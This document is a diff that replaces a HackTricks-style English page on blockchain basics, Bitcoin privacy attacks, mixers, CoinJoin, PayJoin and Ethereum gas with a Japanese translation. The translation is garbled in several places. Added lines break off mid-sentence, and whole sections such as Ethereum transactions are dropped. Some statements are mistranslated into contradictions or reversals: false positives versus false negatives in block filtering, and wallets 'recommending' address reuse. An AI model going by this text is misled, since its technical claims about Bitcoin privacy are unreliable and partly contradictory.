transaction to be recognized, it must be **appended** to the **blockchain**. Validators (miners) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**. +ブロックチェーンのトランザクションが認識されるためには、**ブロックチェーンに追加**される必要があります。バリデータ(マイナー)がこれを行い、多くのプロトコルではそのために**報酬を受け取ります**。ブロックチェーンが安全であるためには、悪意のあるユーザーやグループがバリデーションの大部分を占めることを防ぐメカニズムが必要です。 -Proof of work, another commonly used consensus mechanism, uses a validation of computational prowess to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network. +Proof of work(PoW)は、計算能力の検証を使用してトランザクションを検証し、潜在的な攻撃者がバリデータネットワークの計算能力の大部分を取得する必要があります。 -## Proof Of Work (PoW) +## Proof Of Work(PoW) -This uses a **validation of computational prowess** to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.\ -The **miners** will **select several transactions** and then start **computing the Proof Of Work**. The **miner with the greatest computation resources** is more probably to **finish** **earlier** the Proof of Work and get the fees of all the transactions. +これは、トランザクションを検証するために**計算能力の検証**を使用し、潜在的な攻撃者がバリデータネットワークの計算能力の大部分を取得する必要があります。\ +**マイナー**はいくつかのトランザクションを**選択**し、それから**Proof Of Workを計算**し始めます。**計算リソースが最も多いマイナー**がProof of Workを**早く終了**し、すべてのトランザクションの手数料を得る可能性が高くなります。 -## Proof Of Stake (PoS) +## Proof Of Stake(PoS) -PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens** on the blockchain to mount an attack.\ -In this kind of consensus, the more tokens a miner has, the more probably it will be that the miner will be asked to create the next block.\ -Compared with PoW, this greatly **reduced the energy consumption** the miners are expending. +PoSは、バリデータが一定量のブロックチェーントークンを持っていることを要求することでこれを実現し、攻撃者が攻撃を行うためにはブロックチェーン上のトークンの大部分を取得する必要があります。\ +この種のコンセンサスでは、マイナーが持つトークンの量が多いほど、次のブロックを作成するように求められる可能性が高くなります。\ +PoWと比較して、これによりマイナーが消費するエネルギーが大幅に**削減**されます。 # Bitcoin -## Transactions +## トランザクション -A simple **transaction** is a **movement of money** from an address to another one.\ -An **address** in bitcoin is the hash of the **public** **key**, therefore, someone in order to make a transaction from an address he needs to know the private key associated to that public key (the address).\ -Then, when a **transaction** is performed, it's **signed** with the private key of the address to show that the transaction is **legit**. +単純な**トランザクション**は、アドレスから別のアドレスへの**お金の移動**です。\ +ビットコインの**アドレス**は**公開鍵のハッシュ**であり、したがって、トランザクションを行うためには、その公開鍵(アドレス)に関連付けられた秘密鍵を知っている必要があります。\ +その後、トランザクションが実行されると、そのアドレスの秘密鍵で**署名**され、トランザクションが**正当**であることを示します。 -The first part of producing a digital signature in Bitcoin can be represented mathematically in the following way:\ +ビットコインでデジタル署名を生成するための最初の部分は、数学的に次のように表すことができます:\ _**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_) -Where: +ここで: -* \_d\_A is the signing **private key** -* _m_ is the **transaction** -* Fhash is the hashing function -* Fsig is the signing algorithm -* Sig is the resulting signature +* _d_Aは署名の**秘密鍵**です +* _m_は**トランザクション**です +* Fhashはハッシュ関数です +* Fsigは署名アルゴリズムです +* Sigは生成された署名です -The signing function (Fsig) produces a signature (Sig) that comprises of two values: R and S: +署名関数(Fsig)は、RとSの2つの値からなる署名(Sig)を生成します: * Sig = (R, S) -Once R and S have been calculated, they are serialized into a byte stream that is encoded using an international standard encoding scheme that is known as the Distinguished Encoding Rules (or DER). In order to verify that the signature is valid, a signature verification algorithm is used. Verification of a digital signature requires the following: +RとSが計算されたら、それらはバイトストリームにシリアル化され、国際標準のエンコーディングスキームでエンコードされます。これはDistinguished Encoding Rules(DER)として知られています。署名が有効であることを +### マルチシグトランザクション -* Signature (R and S) -* Transaction hash -* The public key that corresponds to the private key that was used to create the signature +マルチシグアドレスは、1つ以上のECDSAプライベートキーに関連付けられたアドレスです。最も単純なタイプは、m-of-nアドレスです。これは、n個のプライベートキーに関連付けられており、このアドレスからビットコインを送信するには、少なくともm個のキーの署名が必要です。マルチシグトランザクションは、マルチシグアドレスから資金を送信するトランザクションのことです。 -Verification of a signature effectively means that only the owner of the private key (that generated the public key) could have produced the signature on the transaction. The signature verification algorithm will return ‘TRUE’ if the signature is indeed valid. +### トランザクションのフィールド -### Multisignature Transactions +各ビットコインのトランザクションには、いくつかのフィールドがあります: -A multi-signature **address** is an address that is associated with more than one ECDSA private key. The simplest type is an m-of-n address - it is associated with n private keys, and sending bitcoins from this address requires signatures from at least m keys. A multi-signature **transaction** is one that sends funds from a multi-signature address. +- **Inputs**: ビットコインが送信される金額とアドレス +- **Outputs**: 各アウトプットに転送されるアドレスと金額 +- **Fee**: トランザクションのマイナーに支払われる金額 +- **Script_sig**: トランザクションのスクリプト署名 +- **Script_type**: トランザクションのタイプ -### Transactions Fields +トランザクションには、次の2つの主要なタイプがあります: -Each bitcoin transaction has several fields: +- **P2PKH: "Pay To Public Key Hash"**: これがトランザクションが行われる方法です。送信者には有効な署名(プライベートキーから)と公開鍵を提供することが要求されます。トランザクションのアウトプットスクリプトは、署名と公開鍵を使用し、いくつかの暗号関数を介して公開鍵ハッシュと一致するかどうかをチェックします。一致する場合、資金は使用可能になります。この方法では、公開鍵をハッシュの形で隠すことで、追加のセキュリティが提供されます。 +- **P2SH: "Pay To Script Hash"**: トランザクションのアウトプットは、特定のパラメータで実行されるスクリプト(この場合、お金を送りたい人がスクリプトを送信する)です。マイナーが提供されたパラメータでアウトプットスクリプトを実行し、`true` になる場合、お金は指定したアウトプットに送信されます。 `P2SH` は、マルチシグウォレットに使用され、トランザクションを受け入れる前に複数の署名をチェックするロジックをアウトプットスクリプトとして作成します。 `P2SH` は、誰でも、または誰でもなく、資金を使えるようにするためにも使用できます。 P2SHトランザクションのアウトプットスクリプトが単に `1` である場合、パラメータを提供せずにアウトプットを使おうとすると、結果は `1` になり、誰でもがお金を使えるようになります。これは、出力が `0` を返すスクリプトにも適用され、誰もがお金を使えなくなります。 -* **Inputs**: The amount and address **from** where **bitcoins** are **being** transferred -* **Outputs**: The address and amounts that each **transferred** to **each** **output** -* **Fee:** The amount of **money** that is **payed** to the **miner** of the transaction -* **Script\_sig**: Script signature of the transaction -* **Script\_type**: Type of transaction +## ライトニングネットワーク -There are **2 main types** of transactions: - -* **P2PKH: "Pay To Public Key Hash"**: This is how transactions are made. You are requiring the **sender** to supply a valid **signature** (from the private key) and **public** **key**. The transaction output script will use the signature and public key and through some cryptographic functions will check **if it matches** with the public key hash, if it does, then the **funds** will be **spendable**. This method conceals your public key in the form of a hash for extra security. -* **P2SH: "Pay To Script Hash":** The outputs of a transaction are just **scripts** (this means the person how want this money send a script) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts **logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one. - -## Lightning Network - -This protocol helps to **perform several transactions to a channe**l and **just** **sent** the **final** **state** to the blockchain to save it.\ -This **improves** bitcoin blockchain **speed** (it just on allow 7 payments per second) and it allows to create **transactions more difficult to trace** as the channel is created via nodes of the bitcoin blockchain: +このプロトコルは、チャネルへの複数のトランザクションを実行し、最終的な状態をブロックチェーンに保存するだけで送信することを支援します。これにより、ビットコインブロックチェーンのスピードが向上します(1秒あたりの支払いは7回まで)し、チャネルはビットコインブロックチェーンのノードを介して作成されるため、トレースが困難なトランザクションを作成することができます。 ![](<../../.gitbook/assets/image (611).png>) -Normal use of the Lightning Network consists of **opening a payment channel** by committing a funding transaction to the relevant base blockchain (layer 1), followed by making **any number** of Lightning Network **transactions** that update the tentative distribution of the channel's funds **without broadcasting those to the blockchain**, optionally followed by closing the payment channel by **broadcasting** the **final** **version** of the settlement transaction to distribute the channel's funds. +ライトニングネットワークの通常の使用方法は、関連するベースブロックチェーン(レイヤー1)に資金トランザクションをコミットすることによる支払いチャネルの開設、ブロックチェーンにブロードキャストせずにチャネルの資金の仮分配を更新する任意の数のライトニングネットワークトランザクションの作成、オプションで、決済トランザクションの最終バージョンをブロードキャストして支払いチャネルを閉じることです。 -Note that any of the both members of the channel can stop and send the final state of the channel to the blockchain at any time. +チャネルの両メンバーはいつでも停止し、チャネルの最終状態をブロックチェーンに送信することができることに注意してください。 -# Bitcoin Privacy Attacks +# ビットコインのプライバシー攻撃 -## Common Input +## 共通のインプット -Theoretically the inputs of one transaction can belong to different users, but in reality that is unusual as it requires extra steps. Therefore, very often it can be assumed that **2 input addresses in the same transaction belongs to the same owner**. +理論的には、1つのトランザクションのインプットは異なるユーザーに属する可能性がありますが、実際にはそれは珍しいことです(追加の手順が必要です)。したがって、同じトランザクション内の2つのインプットアドレスは、通常、同じ所有者に属していると推定できます。 -## UTXO Change Address Detection +## UTXOの変更アドレスの検出 -**UTXO** means **Unspent Transaction Outputs** (UTXOs). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** (to avoid double-spend attacks). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**, **2 different outputs** will appear: the **intended** one and a **random new change address** where the rest of the money will be saved. +**UTXO**は**未使用のトランザクションアウトプット**(UTXO)の略です。前のトランザクションのアウトプットを入力として使用するトランザクションでは、**アウトプット全体を使い切る必要があります**(二重支払い攻撃を防ぐため)。したがって、そのアウトプットからお金の一部をアドレスに送信し、残りのお金を**別の新しいランダムな変更アドレス**に保存する場合、**2つの異なるアウトプット**が表示されます:意図したアウトプットと残りのお金が保存されるランダムな新しい変更アドレス。 -Then, a watcher can make the assumption that **the new change address generated belong to the owner of the UTXO**. +そのため、ウォッチャーは、**生成された新しい変更アドレスがUTXOの所有者に属していると推定**することができます。 -## Social Networks & Forums +## ソーシャルネットワークとフォーラム -Some people gives data about theirs bitcoin addresses in different webs on Internet. **This make pretty easy to identify the owner of an address**. +一部の人々はインターネット上のさまざまなウェブサイトで自分のビットコインアドレスに関するデータを公開しています。**これにより、アドレスの所有者を特定することが非常に簡単になります**。 -## Transaction Graphs +## トランザクショングラフ -By representing the transactions in graphs, i**t's possible to know with certain probability to where the money of an account were**. Therefore, it's possible to know something about **users** that are **related** in the blockchain. +トランザクションをグラフで表現することにより、アカウントのお金がどこにあるかをある程度の確率で知ることができます。したがって、ブロックチェーン上で関連する**ユーザー**について何かを知ることができます。 -## **Unnecessary input heuristic** - -Also called the "optimal change heuristic". Consider this bitcoin transaction. It has two inputs worth 2 BTC and 3 BTC and two outputs worth 4 BTC and 1 BTC. +## 不要なインプットヒューリスティック +または「最適なおつりヒューリスティック」とも呼ばれます。次のビットコインのトランザクションを考えてみましょう。このトランザクションには、2 BTCと3 BTCの2つのインプットと、4 BTCと1 BTCの2つのアウトプットがあります。 ``` 2 btc --> 4 btc 3 btc 1 btc ``` +仮定すると、出力の1つはおつりであり、もう1つの出力は支払いです。2つの解釈があります:支払いの出力は4 BTCの出力または1 BTCの出力のいずれかです。しかし、1 BTCの出力が支払い金額である場合、3 BTCの入力は不要です。なぜなら、ウォレットは2 BTCの入力のみを使って支払いを行い、より低いマイナー手数料を支払うことができるからです。これは、実際の支払い出力が4 BTCであり、1 BTCがおつりの出力であることを示しています。 -Assuming one of the outputs is change and the other output is the payment. There are two interpretations: the payment output is either the 4 BTC output or the 1 BTC output. But if the 1 BTC output is the payment amount then the 3 BTC input is unnecessary, as the wallet could have spent only the 2 BTC input and paid lower miner fees for doing so. This is an indication that the real payment output is 4 BTC and that 1 BTC is the change output. - -This is an issue for transactions which have more than one input. One way to fix this leak is to add more inputs until the change output is higher than any input, for example: - +これは、複数の入力を持つトランザクションに対して問題です。このリークを修正する方法の1つは、おつりの出力がどの入力よりも高くなるまで、さらに入力を追加することです。例えば: ``` 2 btc --> 4 btc 3 btc 6 btc 5 btc ``` +## 強制的なアドレス再利用 -## Forced address reuse +**強制的なアドレス再利用**または**インセンティブ付きアドレス再利用**は、敵対者がブロックチェーン上で既に使用されたアドレスにビットコインの(しばしば小額の)支払いを行うことです。敵対者は、ユーザーまたは彼らのウォレットソフトウェアがこれらの支払いを他のアドレスを通じて他のアドレスを明らかにする大きなトランザクションの入力として使用することを期待しています。これらの支払いは、アドレスの所有者を意図しないアドレスの再利用に強制する手段として理解することができます。 -**Forced address reuse** or **incentivized address reuse** is when an adversary pays an (often small) amount of bitcoin to addresses that have already been used on the block chain. The adversary hopes that users or their wallet software **will use the payments as inputs to a larger transaction which will reveal other addresses via the the common-input-ownership** heuristic. These payments can be understood as a way to coerce the address owner into unintentional address reuse. +この攻撃は、時には**ダスト攻撃**と誤って呼ばれることがあります。 -This attack is sometimes incorrectly called a **dust attack**. +ウォレットの正しい動作は、既に使用された空のアドレスに着地したコインを使わないことです。 -The correct behaviour by wallets is to not spend coins that have landed on an already-used empty addresses. +## その他のブロックチェーン分析 -## Other Blockchain Analysis +* **正確な支払額**: おつりのないトランザクションを避けるためには、支払いはUTXOと等しくする必要があります(これは非常に予期しないことです)。したがって、**おつりのないアドレス間の転送である可能性が高い**です。 +* **丸められた数値**: トランザクションで出力の1つが「**丸められた数値**」である場合、これはおそらくその「丸められた数値」の価格を設定した人への**支払い**であり、他の部分は残りになります。 +* **ウォレットの指紋認証**: 慎重な分析者は、異なるウォレットソフトウェアが常にまったく同じ方法でトランザクションを作成しないため、特定のトランザクションを作成したソフトウェアを推測することがあります。ウォレットの指紋認証は、おつりの出力を検出するために使用できます。おつりの出力は、同じウォレットの指紋で使われるものです。 +* **金額とタイミングの相関**: トランザクションを実行した人がトランザクションの**時間**と/または**金額**を公開する場合、それは簡単に**発見可能**です。 -* **Exact Payment Amounts**: In order to avoid transactions with a change, the payment needs to be equal to the UTXO (which is highly unexpected). Therefore, a **transaction with no change address are probably transfer between 2 addresses of the same user**. -* **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that** "round number" **price**, so the other part must be the leftover. -* **Wallet fingerprinting:** A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint. -* **Amount & Timing correlations**: If the person that performed the transaction **discloses** the **time** and/or **amount** of the transaction, it can be easily **discoverable**. +## トラフィック分析 -## Traffic analysis +組織があなたのトラフィックを嗅ぎ取ると、ビットコインネットワークでの通信を見ることができます。\ +敵対者があなたのノードから出てきたトランザクションまたはブロックを見ると、それが以前に入っていなかったことをほぼ確実に知ることができます。したがって、インターネット接続が関与しているため、敵対者はIPアドレスを発見したビットコイン情報と関連付けることができます。 -Some organisation **sniffing your traffic** can see you communicating in the bitcoin network.\ -If the adversary sees a transaction or block **coming out of your node which did not previously enter**, then it can know with near-certainty that **the transaction was made by you or the block was mined by you**. As internet connections are involved, the adversary will be able to **link the IP address with the discovered bitcoin information**. +インターネットトラフィックをすべて嗅ぎ取ることはできないが、ソースに近づくために**多くのビットコインノード**を持っている攻撃者は、トランザクションまたはブロックを発表しているIPアドレスを知ることができるかもしれません。\ +また、一部のウォレットは定期的に未確認のトランザクションを再放送するため、ネットワークを広く伝播し、マイニングされる可能性が高くなります。 -An attacker that isn't able to sniff all the Internet traffic but that has **a lot of Bitcoin nodes** in order to stay **closer** to the s**o**urces could be able to know the IP address that are announcing transactions or blocks.\ -Also, some wallets periodically rebroadcast their unconfirmed transactions so that they are more likely to propagate widely through the network and be mined. +## アドレスの所有者に関する情報を見つけるためのその他の攻撃 -## Other attacks to find info about the owner of addresses +その他の攻撃については、[https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)を参照してください。 -For more attacks read [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy) +# 匿名ビットコイン -# Anonymous Bitcoins +## 匿名でビットコインを入手する方法 -## Obtaining Bitcoins Anonymously +* **現金取引**: 現金でビットコインを購入する。 +* **現金の代替**: ギフトカードなどを購入し、オンラインでビットコインと交換する。 +* **マイニング**: マイニングはビットコインを入手する最も匿名性の高い方法です。これは、[マイニングプール](https://en.bitcoin.it/wiki/Pooled\_mining)が一般的にハッシャーのIPアドレスを知っているため、ソロマイニングに当てはまります。 +* **窃盗**: 理論的には、匿名のビットコインを入手する別の方法は、それらを盗むことです。 -* **Cash trades:** Buy bitcoin using cash. -* **Cash substitute:** Buy gift cards or similar and exchange them for bitcoin online. -* **Mining:** Mining is the most anonymous way to obtain bitcoin. This applies to solo-mining as [mining pools](https://en.bitcoin.it/wiki/Pooled\_mining) generally know the hasher's IP address. -* **Stealing:** In theory another way of obtaining anonymous bitcoin is to steal them. +## ミキサー -## Mixers +ユーザーはビットコインをミキシングサービスに**送信し**、サービスが**異なるビットコインをユーザーに送り返します**(手数料を差し引いたもの)。理論的には、ブロックチェーンを観察している敵対者は、入金と出金のトランザクションを**リンクすることができません**。 -A user would **send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be **unable to link** the incoming and outgoing transactions. - -However, the user needs to trust the mixing service to return the bitcoin and also to not be saving logs about the relations between the money received and sent.\ -Some other services can be also used as mixers, like Bitcoin casinos where you can send bitcoins and retrieve them later. +ただし、ユーザーはミキシングサービスがビットコインを返却し、また受け取ったお金と送金の関係についてログを保存していないことを信頼する必要があります。\ +ビットコインカジノなどの他のサービスもミキサーとして使用することができます。ここではビットコインを送信し、後で取り戻すことができます。 ## CoinJoin -**CoinJoin** will **mix several transactions of different users into just one** in order to make more **difficult** for an observer to find out **which input is related to which output**.\ -This offers a new level of privacy, however, **some** **transactions** where some input and output amounts are correlated or are very different from the rest of the inputs and outputs **can still be correlated** by the external observer. +**CoinJoin**は、異なるユーザーの複数のトランザクションを**1つに混ぜ合わせる**ことで、外部の観察者が**どの入力がどの出力に関連しているか**を見つけにくくするためのものです。\ +これは新たなプライバシーのレベルを提供しますが、**一部のトランザクション**では、一部の入力と出力の金額が相関しているか、他の入力と出力と非常に異なる場合、外部の観察者によって**相関付け**される可能性があります。 -Examples of (likely) CoinJoin transactions IDs on bitcoin's blockchain are `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +ビットコインのブロックチェーン上での(おそらく)CoinJoinトランザクションIDの例は、`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`です。 [**https://coinjoin.io/en**](https://coinjoin.io/en)\ -**Similar to coinjoin but better and for ethereum you have** [**Tornado Cash**](https://tornado.cash) **(the money is given from miners, so it jus appear in your waller).** +**CoinJoinに似ていますが、より優れており、Ethereumでは**[**Tornado Cash**](https://tornado.cash)**(お金はマイナーから提供されるため、ウォレットに表示されます)。** ## PayJoin -The type of CoinJoin discussed in the previous section can be easily identified as such by checking for the multiple outputs with the same value. - -PayJoin (also called pay-to-end-point or P2EP) is a special type of CoinJoin between two parties where one party pays the other. The transaction then **doesn't have the distinctive multiple outputs** with the same value, and so is not obviously visible as an equal-output CoinJoin. Consider this transaction: +前のセクションで議論されたCoinJoinのタイプは、同じ値を持つ複数の出力をチェックすることで簡単に特定できます。 +PayJoin(またはpay-to-end-pointまたはP2EPとも呼ばれる)は、2つの当事者間の特別なCoinJoinのタイプであり、一方の当事者が他方に支払いを行います。そのトランザクションには**同じ値を持つ複数の出力がない**ため、等しい出力のCoinJoinとして明らかに見えません。次のトランザクションを考えてみてください。 ``` 2 btc --> 3 btc 5 btc 4 btc ``` +単純なトランザクションとして解釈することができます。お釣りを払うためにどの出力が支払いであり、どの出力がお釣りであるかという問題は一旦無視します。このトランザクションの別の解釈方法は、2 BTCの入力が商人によって所有され、5 BTCが顧客によって所有されており、このトランザクションは顧客が商人に1 BTCを支払うものであるというものです。これらの2つの解釈のうち、どちらが正しいかはわかりません。その結果、コインジョイントトランザクションが生成され、共通の入力所有ヒューリスティックを破り、プライバシーが向上しますが、通常のビットコインのトランザクションと区別することはできません。 -It could be interpreted as a simple transaction paying to somewhere with leftover change (ignore for now the question of which output is payment and which is change). Another way to interpret this transaction is that the 2 BTC input is owned by a merchant and 5 BTC is owned by their customer, and that this transaction involves the customer paying 1 BTC to the merchant. There is no way to tell which of these two interpretations is correct. The result is a coinjoin transaction that breaks the common-input-ownership heuristic and improves privacy, but is also **undetectable and indistinguishable from any regular bitcoin transaction**. +もしPayJoinトランザクションが適度に使用されるようになれば、共通の入力所有ヒューリスティックは実際には完全に間違っていることになります。検出不可能なため、現在それらが使用されているかどうかさえわかりません。トランザクション監視会社は主にそのヒューリスティックに依存しているため、2019年時点ではPayJoinのアイデアに大きな期待が寄せられています。 -If PayJoin transactions became even moderately used then it would make the **common-input-ownership heuristic be completely flawed in practice**. As they are undetectable we wouldn't even know whether they are being used today. As transaction surveillance companies mostly depend on that heuristic, as of 2019 there is great excitement about the PayJoin idea. +# Bitcoinプライバシーの良い実践方法 -# Bitcoin Privacy Good Practices +## ウォレットの同期 -## Wallet Synchronization +Bitcoinウォレットは、自分の残高と履歴に関する情報をどうやって取得するかを考えなければなりません。2018年末時点で、最も実用的でプライバシーが高い既存の解決策は、**フルノードウォレット**(最大限のプライバシー)と**クライアントサイドのブロックフィルタリング**(非常に優れている)を使用することです。 -Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet** (which is maximally private) and **client-side block filtering** (which is very good). - -* **Full node:** Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in. -* **Client-side block filtering:** Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an **element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance. +* **フルノード:** フルノードは、ビットコインでこれまでに行われたすべてのオンチェーントランザクションを含むブロックチェーン全体をダウンロードします。したがって、ユーザーのインターネット接続を監視している敵対者は、ユーザーが関心を持っているトランザクションやアドレスを知ることはできません。 +* **クライアントサイドのブロックフィルタリング:** クライアントサイドのブロックフィルタリングは、ブロック内のすべてのトランザクションのアドレスを含むフィルターを作成することで機能します。フィルターは、要素がセットに含まれているかどうかをテストできます。誤検出は可能ですが、誤検出はありません。軽量ウォレットは、ブロックチェーンのすべてのブロックのすべてのフィルターをダウンロードし、自分自身のアドレスと一致するかどうかをチェックします。一致するトランザクションを含むブロックはピアツーピアネットワークから完全にダウンロードされ、それらのブロックを使用してウォレットの履歴と現在の残高を取得します。 ## Tor -Bitcoin network uses a peer-to-peer network, which means that other peers can learn your IP address. This is why it's recommend to **connect through Tor every time you want to interact with the bitcoin network**. +Bitcoinネットワークはピアツーピアネットワークを使用しているため、他のピアはあなたのIPアドレスを知ることができます。これが、ビットコインネットワークとやり取りする際には常にTorを介して接続することをお勧めする理由です。 -## Avoiding address reuse +## アドレスの再利用を避ける -**Addresses being used more than once is very damaging to privacy because that links together more blockchain transactions with proof that they were created by the same entity**. The most private and secure way to use bitcoin is to send a brand **new address to each person who pays you**. After the received coins have been spent the address should never be used again. Also, a brand new bitcoin address should be demanded when sending bitcoin. All good bitcoin wallets have a user interface which discourages address reuse. +**アドレスを複数回使用することは、プライバシーに非常に悪影響を与えます。なぜなら、それによって同じエンティティによって作成されたブロックチェーントランザクションがさらにリンクされ、それが証明されるからです**。Bitcoinを使用する最もプライベートで安全な方法は、支払いを行う各個人に対して新しいアドレスを送信することです。受け取ったコインが使われた後は、そのアドレスを再利用しないでください。また、ビットコインを送信する際には、新しいビットコインアドレスを要求する必要があります。すべての優れたビットコインウォレットには、アドレスの再利用を desuお勧めするユーザーインターフェースがあります。 -## Multiple transactions +## 複数のトランザクション -**Paying** someone with **more than one on-chain transaction** can greatly reduce the power of amount-based privacy attacks such as amount correlation and round numbers. For example, if the user wants to pay 5 BTC to somebody and they don't want the 5 BTC value to be easily searched for, then they can send two transactions for the value of 2 BTC and 3 BTC which together add up to 5 BTC. +**1つ以上のオンチェーントランザクションで誰かに支払う**ことは、金額に基づくプライバシー攻撃(金額の相関や丸め数など)の影響を大幅に減らすことができます。たとえば、ユーザーが誰かに5 BTCを支払いたいが、その5 BTCの価値が簡単に検索されることを望まない場合、2 BTCと3 BTCの2つのトランザクションを送信することができます。これらのトランザクションは合計で5 BTCになります。 -## Change avoidance +## お釣りの回避 -Change avoidance is where transaction inputs and outputs are carefully chosen to not require a change output at all. **Not having a change output is excellent for privacy**, as it breaks change detection heuristics. +お釣りの回避とは、トランザクションの入力と出力を慎重に選択し、お釣りの出力を一切必要としないようにすることです。**お釣りの出力がないことはプライバシーに優れています**。なぜなら、お釣りの検出ヒューリスティックを破るからです。 -## Multiple change outputs +## 複数のお釣りの出力 -If change avoidance is not an option then **creating more than one change output can improve privacy**. This also breaks change detection heuristics which usually assume there is only a single change output. As this method uses more block space than usual, change avoidance is preferable. +お釣りの回避ができない場合、**複数のお釣りの出力を作成することでプライバシーを向上**させることができます。これは通常、単一のお釣りの出力しかないと想定しているお釣りの検出ヒューリスティックを破ります。この方法は通常よりも多くのブロックスペースを使用するため、お釣りの回避が望ましいです。 # Monero -When Monero was developed, the gaping need for **complete anonymity** was what it sought to resolve, and to a large extent, it has filled that void. +Moneroが開発されたとき、**完全な匿名性**への深刻なニーズを解決し、大いに満たしています。 # Ethereum -## Gas +## ガス -Gas refers to the unit that measures the **amount** of **computational** **effort** required to execute specific operations on the Ethereum network. Gas refers to the **fee** required to successfully conduct a **transaction** on Ethereum. +ガスとは、Ethereumネットワーク上で特定の操作を実行するために必要な**計算の労力**の単位を指します。ガスはEthereum上でトランザクションを正常に実行するために必要な**手数料**を指します。 -Gas prices are denoted in **gwei**, which itself is a denomination of ETH - each gwei is equal to **0.000000001 ETH** (10-9 ETH). For example, instead of saying that your gas costs 0.000000001 ether, you can say your gas costs 1 gwei. The word 'gwei' itself means 'giga-wei', and it is equal to **1,000,000,000 wei**. Wei itself is the **smallest unit of ETH**. +ガスの価格は**gwei**で表され、それ自体がETHの単位です。1 gweiは**0.000000001 ETH**(10^-9 ETH)に相当します。たとえば、ガスの費用が0.000000001イーサであると言う代わりに、ガスの費用が1 gweiであると言うことができます。'gwei'という言葉自体は'giga-wei'を意味し、**1,000,000,000 wei**に等しいです。Wei自体が**ETHの最小単位**です。 -To calculate the gas that a transaction is going to cost read this example: +トランザクションのガスコストを計算するためには、次の例を参照してください。 -Let’s say Jordan has to pay Taylor 1 ETH. In the transaction the gas limit is 21,000 units and the base fee is 100 gwei. Jordan includes a tip of 10 gwei. - -Using the formula above we can calculate this as `21,000 * (100 + 10) = 2,310,000 gwei` or 0.00231 ETH. - -When Jordan sends the money, 1.00231 ETH will be deducted from Jordan's account. Taylor will be credited 1.0000 ETH. Miner receives the tip of 0.00021 ETH. Base fee of 0.0021 ETH is burned. - -Additionally, Jordan can also set a max fee (`maxFeePerGas`) for the transaction. The difference between the max fee and the actual fee is refunded to Jordan, i.e. `refund = max fee - (base fee + priority fee)`. Jordan can set a maximum amount to pay for the transaction to execute and not worry about overpaying "beyond" the base fee when the transaction is executed. - -As the base fee is calculated by the network based on demand for block space, this last param: maxFeePerGas helps to control the maximum fee that is going to be payed. - -## Transactions - -Notice that in the **Ethereum** network a transaction is performed between 2 addresses and these can be **user or smart contract addresses**.\ -**Smart Contracts** are stored in the distributed ledger via a **special** **transaction**. - -Transactions, which change the state of the EVM, need to be broadcast to the whole network. Any node can broadcast a request for a transaction to be executed on the EVM; after this happens, a **miner** will **execute** the **transaction** and propagate the resulting state change to the rest of the network.\ -Transactions require a **fee** and must be mined to become valid. - -A submitted transaction includes the following information: - -* `recipient` – the receiving address (if an externally-owned account, the transaction will transfer value. If a contract account, the transaction will execute the contract code) -* `signature` – the identifier of the sender. This is generated when the sender's private key signs the transaction and confirms the sender has authorised this transaction -* `value` – amount of ETH to transfer from sender to recipient (in WEI, a denomination of ETH) -* `data` – optional field to include arbitrary data -* `gasLimit` – the maximum amount of gas units that can be consumed by the transaction. Units of gas represent computational steps -* `maxPriorityFeePerGas` - the maximum amount of gas to be included as a tip to the miner -* `maxFeePerGas` - the maximum amount of gas willing to be paid for the transaction (inclusive of `baseFeePerGas` and `maxPriorityFeePerGas`) - -Note that there isn't any field for the origin address, this is because this can be extrapolated from the signature. - -# References +ジョーダンがテイラーに1 ETHを支払わなければならないとします。トランザクションのガスリミットは21,000ユ +# 参考文献 * [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake) * [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) @@ -301,16 +256,14 @@ Note that there isn't any field for the origin address, this is because this can ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? 